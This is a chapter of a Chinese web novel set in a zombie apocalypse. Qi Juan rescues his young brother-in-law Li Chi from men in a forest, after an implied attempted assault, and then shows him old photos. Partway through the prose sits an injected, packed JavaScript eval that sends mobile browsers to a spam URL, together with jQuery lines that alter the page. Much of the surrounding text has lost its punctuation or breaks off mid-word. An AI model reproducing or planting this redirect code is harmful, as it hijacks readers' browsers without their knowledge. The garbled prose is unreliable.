第88章 照片

作品:《男配想要抢救一下

    夜半三更,加油站丧尸都清干净了,祁倦被王派派叫下车,就发现他越野车的四个车轮胎都漏气了,他蹲在车子边上,按了按车轮子,发现了被划破的地方。


    干这事的是人是鬼不言而喻,整个加油站除了他们,也只有白天碰见的另外三个男人了。


    “那男的心眼芝麻大。王派派说,“估计看你们跟我一块儿的,故意找你们麻烦呢。


    他们的车轮胎也破了。


    祁倦弹了弹指尖的灰:“挺闲啊,人呢?


    王派派下巴往便利店那边扬了一下:“他们三个都有异能,不好打,我们基地好几个异能者都在他们身上吃过亏。


    祁倦站起身:“没想跟他们打。


    “那就这么算了?


    “还回去啊,我们又不是什么好人。


    “操。王派派笑了几声。


    祁倦挑了下唇,从车尾往前走去,那点困意这会散了不少,夜里有些冷,王派派拢了拢衣服:“他好像盯上你弟了,你注意点,他是真挺变态的。


    当初祁倦说去找他弟,王派派都没想到他还真把他弟找着了:“你弟也没有异能?


    “没。


    “能把他带到这儿来,也挺不容易。


    祁倦低沉的嗓音里带着点沙哑,散漫道:“怎么着?打算资助我一下?


    王派派:“算了吧,不过凭你这姿色,说不定也能卖个好价钱。


    祁倦拿出烟盒,指尖从烟盒底部弹出一根烟,叼在唇边:“滚,不卖身。


    他靠在了车上,和王派派商量接下来该怎么着,车上东西能拿多少拿多少,总之先把人弄回去再说。


    祁倦吐出一口烟圈,回头从车窗看了眼副驾驶睡着的人,打开车门,拿出了外套,屈指碰了两下车窗:“我去上个厕所,你帮我把人看着,谢了。


    王派派:“嗐,客气了兄弟,都是应该的。


    加油站水源被污染,电也停了,入夜除却月光,就是一片黑,丧尸会被光源吸引,因此车子也没有开灯,王派派站在车边,搓了搓手臂,这夜里和白天的温差还真是大。


    他想抽根烟提提神,摸了摸兜,听到车里好像有点声音,祁倦那小弟弟醒了?他往车窗里面看了看,看不太清,凑近了些。


    忽而,他面上晃了晃神,“啪的一声,王派派四平八仰的躺在地上,手中的烟在地上滚了几圈,掉进了车底,他嘴里打


    起了呼噜。


    副驾驶的车门打开,黎弛黑眸微动,看着地上任人宰割的男人,手中握着一把匕首,只要杀了他们,这样哪怕实验室里还有幸存者,也只会以为他死在了那场研究所的意外中。


    他又想起研究所混乱时,“姐夫”拿起凳子砸碎玻璃,想起他修好时钟,男人摸他头说“小神童”时的语气,想起男人说不会抛下他……


    都是假的吗?他想,他还是要出卖他。


    人间是一场炼狱,只有足够强大,才能将一切掌控在手中,成为主宰者。-


    “操。”祁倦远远的见车旁躺着的身影,以为王派派被袭击了,跑过来才发现他躺在地上呼呼大睡,祁倦检查了一眼,他身上也没伤口,想起黎弛,他打开车门弯下腰。


    车内空荡荡的,不见人影。


    “王派派。”祁倦拍了拍王派派熟睡的脸,这人睡得死沉,这会要来个丧尸,还能吃个全肉宴。


    “嗯……”王派派朦朦胧胧睁开眼,脑子还空白了一瞬,对上一双眼皮薄而显得凌冽的眸子,他惊坐而起,捧着自己的脸,“你打我?你居然打我?”


    祁倦:“你他妈搁这儿做慈善喂丧尸呢?”


    王派派:“……”


    祁倦指了指车:“叫你看着人,人呢?”


    人不在车上,便利店里面也没有人,那仨男的不见了,祁倦回到车边,坐进车子里找了一圈,没有打斗的痕迹,但是车里的吃的都没了。


    老吴在车上睡着,前半夜是他守的夜,被叫醒时还有点迷糊,也没听到有什么动静,王派派怎么也想不起来自己怎么睡过去的,就突然觉得很困。


    “妈的。”祁倦拧灭了烟。


    “先别急,我们分头去找找。”老吴安慰道。


    王派派:“这事儿怪我。”


    “没到揽责任的时候。”祁倦下了车,加油站里另外一辆车还停着,那几人没开车,应该走不远,就在这附近。


    但他心底还有另一个猜测。


    车里的食物在哪,只有他和黎弛知道,王派派莫名昏睡过去,又没受到伤害,不像那三个人的作风,他们也不像有这本事。


    要真跟他想的一样……操,小兔崽子,这几天自己心里肯定琢磨了不少事。


    要么是不信任他,要么是怕拖累他,都是自己主动离开的,目前而言他更倾向于前者。


    “哟,来放水呢?”


    黎弛听到了身后的声音,停下了脚步,从加油站出来,他身后就多了几个甩不掉的尾巴,起初还躲躲藏


    藏进了这片林子干脆就不掩饰了。


    他转过身两道身影从他身后出来。


    夜里树影婆娑他们一左一右包抄见黎弛往后退就像是看到猎物展露出恐惧他们眸中更泛起了一层兴奋连黎弛那双沉静黑眸中一闪而过的戾气都忽略了。


    “你们搞快点啊。”外面有人喊了声。


    “妈的快不了。”里面的人道“急个毛。”


    地上杂草凌乱黎弛面上赤红额角遍布细密的汗背包滚落在了一旁的杂草上手中匕首在夜里划过一丝锋利的光芒他心跳得快手也在颤抖着。


    他心中计算得出三个人是他目前的极限。


    两个男人排着队站在一棵树前猴急的脱裤子黎弛站在男人身后垂眸视线落在他后背心脏的位置他没杀过人但知道人脊椎是很重要的部分只要找准位置能让他们瞬间失去行动能力。


    地上的影子高高举起了手臂。


    外面响起了别的动静黎弛偏头看了过去


    林子外边男人只来得及闷哼了声倒地不起祁倦挥了挥手腕这一片乌漆麻黑的祁倦远远就看见男人蹲在外面玩手机打发时间打了他一个措手不及但是没想到他——这么脆皮。


    不至于吧?他都还没感觉使多大劲儿碰瓷儿呢?


    祁倦踢了踢地上的男人确信他是晕过去他没多耽搁往林子里钻很快听到了窸窣的声音。


    “操瘦的都只剩一把骨头了……”


    他眉间皱了皱大步迈向前拨开灌木丛而后愣了一下刀疤男人抱着棵树嘴里不断往外倒着荤话。祁倦低下头脚下不远处瘦弱的身影跌坐在地上转过头看向他嘴唇微动:“姐夫……”


    什么玩意儿?带坏小孩呢。


    黎弛眼前蓦地一黑后面的话没说出来微张着嘴唇尽数卡在了喉咙里盖住他眼睛的手温热没有一丝缝隙严丝合缝的贴在他的眼周散发着男人身上独有的冷冽气息。


    因为陷入一片黑暗带来的不安让他其他感官更为敏锐他落入男人的怀抱里是令人贪恋的温度。


    祁倦看到了不远处属于自己的背包一人难敌四手还有一个不定因素他没打搅他们“好事”腿一伸把包勾了过来一手拎着包一手拎着黎弛带着他退出了灌木丛。


    林中的声音隐去祁倦把包甩到肩头手里拿着手机照


    明,黎弛被他拽着出去。


    男人身上气息很沉,步伐很稳,也不知道是生没生气,但在他步伐趔趄时,又会放慢步调。


    手机的光始终照着前边的路,他们一前一后的回到了加油站,老吴留在加油站守着他们的东西,见人回来了,从车上下去。


    祁倦打开车门,拎着黎弛:“上车。


    这是他见到黎弛后开口说的第一句话,没黎弛想的那么凶。


    车里没有别人了,黎弛瞥了他一眼,乖乖上了车。


    老吴觉着他俩之间这气氛不太融洽,不待他问,祁倦关上车门。


    “人找着了。祁倦把林子里的事跟旁边老吴说了一嘴。


    老吴这沉熟稳重的老实人都忍不住露出了一言难尽的神色。


    祁倦:“派派还没回来?


    “刚回来了一次,往那边去了。老吴说,“我去找,他们要是回来,你们先走,路上留个暗号,别跟他们硬来。


    黎弛坐在车上,身体有些乏力,他偏头看着窗外的男人和人交谈,片刻后,男人转身从另一边上了车,车门关上。


    车内静了会儿,祁倦看了眼时间,把包搁置到一边。


    “你挺行啊。祁倦忽而轻扯了下唇角,哂了声,“把吃的都拿走,想饿死谁?


    黎弛愣了愣,没想到祁倦会是这种反应。


    在他的预想中,他们应该是要对他卸下那层伪装了。


    “聊聊。祁倦开诚布公道,“你拿着东西,想去哪?


    他这小舅子有创伤,有些话得好好交流。


    黎弛抿了下唇:“没想去哪。


    没想去哪,祁倦问他跑什么,黎弛又不说话了。


    祁倦也没问他是不是他把王派派弄倒的:“是有预谋的,还是突发奇想?


    “……不是。


    “那是什么?


    半晌,黎弛说:“我怕你……卖掉我。他颤着嗓音,轻轻扯住祁倦的衣摆,低声说,“姐夫,不要卖掉我。


    “?他什么时候成了拐卖人口的了?


    祁倦偏头让他抬起头,黎弛抬起头。


    祁倦:“看着我。


    黎弛顿了顿,抬眸,男人闯入他的视野里,他眉眼生得很优越,气质使然,英俊的面庞有几分令人望而止步的匪气,流露着危险性,不像个好人,但对熟悉的人而言,这一分匪气又叫人挺有安全感。


    “我长得像人贩子?


    男人口吻随意的问。


    “不像。不像好惹的人。


    “我说要卖你了?


    不想,黎弛脸上犹豫了一下,竟是点了点头。


    “……说说,我什么时候这么说了?祁倦自己都不知道自己还说过这种话。


    “你和那个红头发的人说的。黎弛黑沉的眸子望着他,“你们说,要把我卖个好价钱。


    听他说完,祁倦都气乐了:“偷听人说话就算了,怎么还带断章取义的?


    “我没偷听。


    “是,是那话往你耳朵里钻。


    “……


    几句话间,车里氛围是没那么僵硬了,祁倦靠在座上,吐出一口气:“这么信不过你姐夫呢?


    黎弛这阴影大抵是不小,他道:“黎弛,你要信不过我,也行,我不是非要你跟我在一块儿,但我得确保你安全,你要不想去G城基地,也可以去别的地方,等你养好身体,有了自保能力,到时候咱们各走各的。


    祁倦这么说,也是这么打算的,他管不了黎弛一辈子,但他不能看着他跟那本什么破书一样走到那样的结局。


    总得先把梗在两人中间的石头给挪开。


    要是能演到这种程度……黎弛瞥了眼祁倦的侧脸,心下不知道在想什么,眼周的皮肤仿佛还残留着他掌心的温度。


    男人的手好像一直很热乎,宽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998032|89484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大又温暖。


    无论是包裹住他手的时候,还是把帽子扣在他头顶的时候。


    “姐夫。车内狭小的空间里响起黎弛轻轻的声音,“过去很多事,我不记得了。


    一辆悍马颠簸着开进了加油站,熄了火,祁倦下了车,见王派派从驾驶位下来,挑了下眉头,王派派拍着车道:“怎么样?不错吧。


    为了搞这辆车,王派派差点没投喂进丧尸嘴里,他走到车边,弯腰看向车内黎弛,问他有没有哪伤着,黎弛说没事,他道:“没事就好,你不知道,你哥差点急疯了。


    黎弛偏头看向车外。


    “就你长嘴了?祁倦抬了抬眼,想起这乌龙,也是王派派那几句话的锅,新仇旧恨,抬脚踹了过去。


    王派派熟练一躲:“还不让说了,恼羞成怒了啊。


    祁倦:“我还冲冠怒发呢,想不想看看?


    “年轻人,定力不行。王派派摇头道。


    祁倦哼笑:“拳头要不要?


    老吴见祁倦和黎弛已经恢复原样,也没再多嘴问,在中间给他们当和事佬。


    他们一


    行人天没亮就从这里离开了离开前那三人还没回来他们把人车轮胎也划了几道还了回去。


    年轻人记性好格外记仇。


    车子启程上路祁倦和黎弛坐在后边黎弛说他忘了很多事失忆这个事祁倦不是医生也没碰见过没有经验网络也用不了没有头绪。


    只知道这小子是把他给忘干净了。


    这里离基地有一段距离王派派一路上热衷于当导游给他们说着基地的事基地住的地方也有讲究越靠近中心越安全在基地花销除了物资就是晶核了晶核是给异能者用的异能者对基地的贡献也是作为领晶核的衡量标准。


    “住的地方也是交晶核你们要是没有我先给你们垫着。”王派派又不着调道“倦儿真不考虑卖卖身什么的?你这看着就是挺值钱的样儿。”


    黎弛大多时候话不多在听到这话时抬了下头。


    祁倦窝在车座闭着眼没睡着带着点鼻音道:“怎么着?你想买?”


    王派派:“我哪买得起你。”


    “说说吧觊觎我多久了。”祁倦薄薄的眼皮掀开了一条缝把外套拉链拉到了顶端“这么想我卖身。”


    “我操。”王派派乐了


    “谁跟你自己人。”祁倦说“改行拉皮条了都没告诉我。”


    车内一阵笑。


    黎弛听着他们插科打诨车内都短暂的弥漫起了轻快气息都说物以类聚人以群分几人看起来关系是真挺好祁倦跟他们在一起和跟他在一块不一样跟他在一块时祁倦更像是……大抵类似于大哥的模样。


    “想什么呢?”祁倦偏过头问。


    黎弛翘了翘嘴角弯唇说:“想你跟姐姐在一起是什么样的。”


    祁倦说就那样。


    这不算一个清晰的答案。


    “你有姐姐的照片吗?”


    这是想家人了。


    良好的氛围勾起未来大boss的一点良知也算是曲线救国吧。


    祁倦拿出了手机这手机他一直带在身上虽然没什么大用不过里面俄罗斯方块无聊的时候还可以玩玩打发时间他打开相册翻了一下手机里照片不多有些东西不能细看心底难受。


    他手指往上划拉。


    突然发现他好像还真没有黎弛他姐的照片。


    这就有点尴尬了。


    他余光瞥了眼旁边的黎弛黎弛在盯着他滑动的手机屏幕看小表情都透露


    着认真,祁倦轻咳了声。


    “好像没有你姐照片,不过我有你的。”他点进了一组照片里。


    以前跟黎弛一起打篮球,他累了在一旁歇着时,会看黎弛打,偶尔拍了一两张,还有合照,一起吃饭一起打街机游戏的照片都有。


    说不定人看到过去的事,可能会刺激大脑,想起过往的事儿呢,祁倦滑动的指尖一顿,点进一张照片,照片上是一个小海豚:“这个,你十七岁生日,我陪你打完球在商场娃娃机给你抓的,有印象吗?”


    因为前边还有王派派和老吴,所以祁倦说话声音不高,黎弛要听清他说了什么,往他那边凑了凑,肩膀和他靠上,他没太在意,见黎弛摇头,他就划下一张照片。


    “还有这个。”照片上是大男孩坐在单杠上,抱着篮球看着镜头,“你高中毕业那天的照片,你们体育老师还说你在这方面挺有天赋,你高中篮球队队长,打篮球就没输过别的班。”


    黎弛闻言,看着他手机上的照片。


    记不起来,但是又感觉很熟悉,照片也不像是p的,祁倦说的应该都是真的。


    他对他的事,好像都很了解。


    为什么手机里没有他姐姐的照片,却有这么多他的照片?


    黎弛黑沉的眸中出现了别样微妙的神色,他垂着眼,睫毛颤了几下,顺着那只手的滑动往下看去。


    为什么有他这么多照片,自然是因为男人跟男人比较有话题,每回祁倦去黎家,碰着黎弛在家,要么是跟黎弛出去打球,要么是他带黎弛去玩。


    祁倦划着手机,划到哪说到哪。


    “这张你姐拍的。”手机里还有黎弛十五岁时的照片,是两人的背影,他们在往别墅门里走,他搭着小孩的肩膀。


    那张照片是他姐给他们拍的,那天黎弛跟家里人赌气,骑自行车摔了,祁倦把人拎回家,乐不可支,他姐走在他们后面拍的。


    这姐夫身份,他是要坐稳当的。


    好不容易听他提了一句“你姐”,却是画外人。